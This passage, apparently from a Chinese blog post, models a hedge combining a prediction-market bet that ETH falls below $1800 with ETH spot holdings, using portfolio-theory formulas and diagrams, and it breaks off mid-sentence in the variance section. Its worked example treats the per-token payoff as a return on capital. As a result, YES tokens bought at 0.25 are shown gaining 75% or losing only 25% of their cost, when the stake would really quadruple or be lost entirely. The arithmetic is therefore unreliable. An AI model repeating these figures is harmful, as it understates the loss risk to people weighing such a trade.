      <![CDATA[<h2 id="写在前面">写在前面</h2><p>想象这样一个场景：你看到预测市场上有人在赌ETH会跌破1800美元，赔率显示只有25%的可能性。但你通过技术分析认为跌破概率至少有35%。</p><p>这时你可能想：既然我比市场更聪明，为什么不下注呢？但如果只是单边下注，风险太大。那能不能构建一个对冲策略，既能获利又能控制风险？</p><p>这正是本文要探讨的问题。我将用<strong>现代投资组合理论</strong>来建模这个策略，但更重要的是，我会告诉你为什么这个看似完美的数学模型在现实中可能行不通。</p><h2 id="关键观点预览">关键观点预览</h2><p>在深入数学推导之前，先说几个核心观点：</p><ol><li><strong>对冲悖论</strong>：如果你真的能预测价格，为什么还需要对冲？</li><li><strong>参数地狱</strong>：模型需要估计多个参数，每个都充满不确定性</li><li><strong>简单胜于复杂</strong>：固定比例分配往往优于&quot;最优&quot;权重</li><li><strong>风险认知价值</strong>：模型的真正价值不在于给出答案，而在于帮你理解风险</li></ol><p>现在让我们看看这个策略是如何建模的。</p><h2 id="1-问题建模：把对冲当作投资组合">1. 问题建模：把对冲当作投资组合</h2><h3 id="核心思想">核心思想</h3><p>将预测市场下注和ETH现货持仓视为<strong>两种不同的资产</strong>，用投资组合理论来分析它们的组合效果。</p><pre><code class="highlight mermaid">graph TB    A[投资组合理论框架] --&gt; B[资产1: 预测市场]    A --&gt; C[资产2: ETH现货]    B --&gt; D[&quot;收益: R1 = I(S≤Y) - a&quot;]    C --&gt; E[&quot;收益: R2 = (S-X)/X&quot;]    D --&gt; F[&quot;组合收益: R = w1×R1 + w2×R2&quot;]    E --&gt; F    F --&gt; G[目标: 最大化收益，控制风险]</code></pre><h3 id="两种-资产-是什么？">两种&quot;资产&quot;是什么？</h3><p>我们的对冲策略包含两个部分：</p><h4 id="资产1：预测市场头寸">资产1：预测市场头寸</h4><p>当你在预测市场上买入&quot;ETH跌破1800&quot;的YES代币时，你的收益是：</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0077em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.22222em;">Y</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">a</span></span></span></span></span></p><p><strong>通俗解释</strong>：</p><ul><li>如果ETH真的跌破了，你赚 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord">1</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">a</span><span class="mclose">)</span></span></span></span> 倍收益</li><li>如果ETH没跌破，你损失 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">a</span></span></span></span>（你的买入价格）</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.22222em;">Y</span><span class="mclose">)</span></span></span></span> 是一个开关函数：跌破时=1，不跌破时=0</li></ul><h4 id="资产2：ETH现货头寸">资产2：ETH现货头寸</h4><p>如果你同时持有ETH现货，你的收益率是：</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0077em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.0463em;vertical-align:-0.686em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3603em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07847em;">X</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span></span></p><p><strong>通俗解释</strong>：</p><ul><li>这就是普通的股票式收益率：(最终价格 - 买入价格) / 买入价格</li><li>如果ETH涨了10%，你就赚10%</li><li>如果ETH跌了20%，你就亏20%</li></ul><h2 id="2-组合策略：鱼和熊掌兼得？">2. 组合策略：鱼和熊掌兼得？</h2><h3 id="投资组合收益">投资组合收益</h3><p>现在我们把两个头寸组合起来。总收益就是：</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.5945em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02691em;">w</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0269em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0077em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.5945em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02691em;">w</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0269em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0077em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span></span></p><p><strong>通俗解释</strong>：</p><ul><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02691em;">w</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0269em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 和 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02691em;">w</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0269em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 是资金分配比例（权重）</li><li>比如你有10万元，拿3万买预测市场，7万买ETH，那么 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02691em;">w</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0269em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0.3</span></span></span></span>，<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02691em;">w</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0269em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0.7</span></span></span></span></li><li>总收益就是两个头寸的加权平均</li></ul><h3 id="权重的实际含义">权重的实际含义</h3><p>假设你有总资本 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span></span></span></span>：</p><ul><li>在预测市场花费：<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02691em;">w</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0269em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span></span></span></span></li><li>在ETH现货花费：<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02691em;">w</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0269em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span></span></span></span></li><li>通常约束：<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02691em;">w</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0269em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.786em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02691em;">w</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0269em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span>（不能超过100%资金）</li></ul><h3 id="一个直观的例子">一个直观的例子</h3><p>假设你有10万元：</p><ul><li>花3万买&quot;ETH跌破1800&quot;的YES代币（<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02691em;">w</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0269em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0.3</span></span></span></span>）</li><li>花7万买ETH现货（<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02691em;">w</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0269em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0.7</span></span></span></span>）</li></ul><pre><code class="highlight mermaid">graph LR    A[10万元资本] --&gt; B[&quot;3万元&lt;br/&gt;预测市场&lt;br/&gt;w1=0.3&quot;]    A --&gt; C[&quot;7万元&lt;br/&gt;ETH现货&lt;br/&gt;w2=0.7&quot;]    subgraph S1 [&quot;情景1: ETH跌到1600&quot;]        B --&gt; D[&quot;+2.25万&lt;br/&gt;75%收益&quot;]        C --&gt; E[&quot;-1.4万&lt;br/&gt;-20%收益&quot;]        D --&gt; F[&quot;总收益: +0.85万&quot;]        E --&gt; F    end    subgraph S2 [&quot;情景2: ETH涨到2200&quot;]        B --&gt; G[&quot;-0.75万&lt;br/&gt;-25%损失&quot;]        C --&gt; H[&quot;+0.7万&lt;br/&gt;+10%收益&quot;]        G --&gt; I[&quot;总收益: -0.05万&quot;]        H --&gt; I    end</code></pre><p>看起来不错？但现实没这么简单。</p><h2 id="3-风险分析：数学告诉我们什么">3. 风险分析：数学告诉我们什么</h2><p>上面的例子看起来很美好，但我们忽略了一个关键问题：<strong>风险</strong>。</p><h3 id="总风险公式">总风险公式</h3><p>投资组合的总风险（方差）是：</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord text"><span class="mord">Var</span></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.1111em;vertical-align:-0.247em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02691em;">w</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8641em;"><span style="top:-2.453em;margin-left:-0.0269em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.247em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord text"><span class="mord">Var</span></span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0077em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.1111em;vertical-align:-0.247em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02691em;">w</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8641em;"><span style="top:-2.453em;margin-left:-0.0269em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.247em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord text"><span class="mord">Var</span></span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0077em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.7944em;vertical-align:-0.15em;"></span><span class="mord">2</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02691em;">w</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0269em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02691em;">w</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0269em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord text"><span class="mord">Cov</span></span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0077em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0077em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span></span></p><p><strong>这个公式说了什么？</strong></p><ol><li><strong>独立风险</strong>：每个资产都有自己的风险（前两项）</li><li><strong>相关性风险</strong>：两个资产的相关性会影响总风险（第三项）</li></ol><h3 id="相关性的重要性">相关性的重要性</h3><p>最后一项 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord text"><span class="mord">Cov</span></span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0077em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0077em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span> 是关键：</p><pre><code class="highlight mermaid">graph TD    A[相关性类型] --&gt; B[负相关 Cov &lt; 0]    A --&gt; C[零相关 Cov = 0]    A --&gt; D[正相关 Cov &gt; 0]    B --&gt; E[ETH下跌→预测市场上涨&lt;br/&gt;🎯 理想对冲效果]    C --&gt; F[两投资相互独立&lt;br/&gt;📊 风险分散但不对冲]    D --&gt; G[同涨同跌&lt;br/&gt;❌ 无对冲效果]    style E fill:#90EE90    style F fill:#FFE4B5    style G fill:#FFB6C1</code></pre><p><strong>直觉理解</strong>：</p><ul><li>如果ETH价格下跌，你的现货会亏钱</li><li>但如果你买对了预测市场，预测市场会赚钱</li><li>这两个效应能否抵消，取决于它们的相关性有多强</li></ul><h3 id="具体计算每个风险">具体计算每个风险</h3><h4 id="预测市场的风险">预测市场的风险</h4><p>预测市场的收益是个开关：要么全赚，要么全亏。它的风险就是这种不确定性：</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord text"><span class="mord">Var</span></span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0077em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">p</span><span class="mopen">(</span><span class="mord">1</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">p</span><span class="mclose">)</span></span></span></span></span></p><p><strong>为什么是这个公式？</strong></p><ul><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">p</span></span></span></span> 是真实跌破概率</li><li>这是个伯努利分布（抛硬币型）的方差公式</li><li>当 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0.5</span></span></span></span> 时风险最大，当 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" 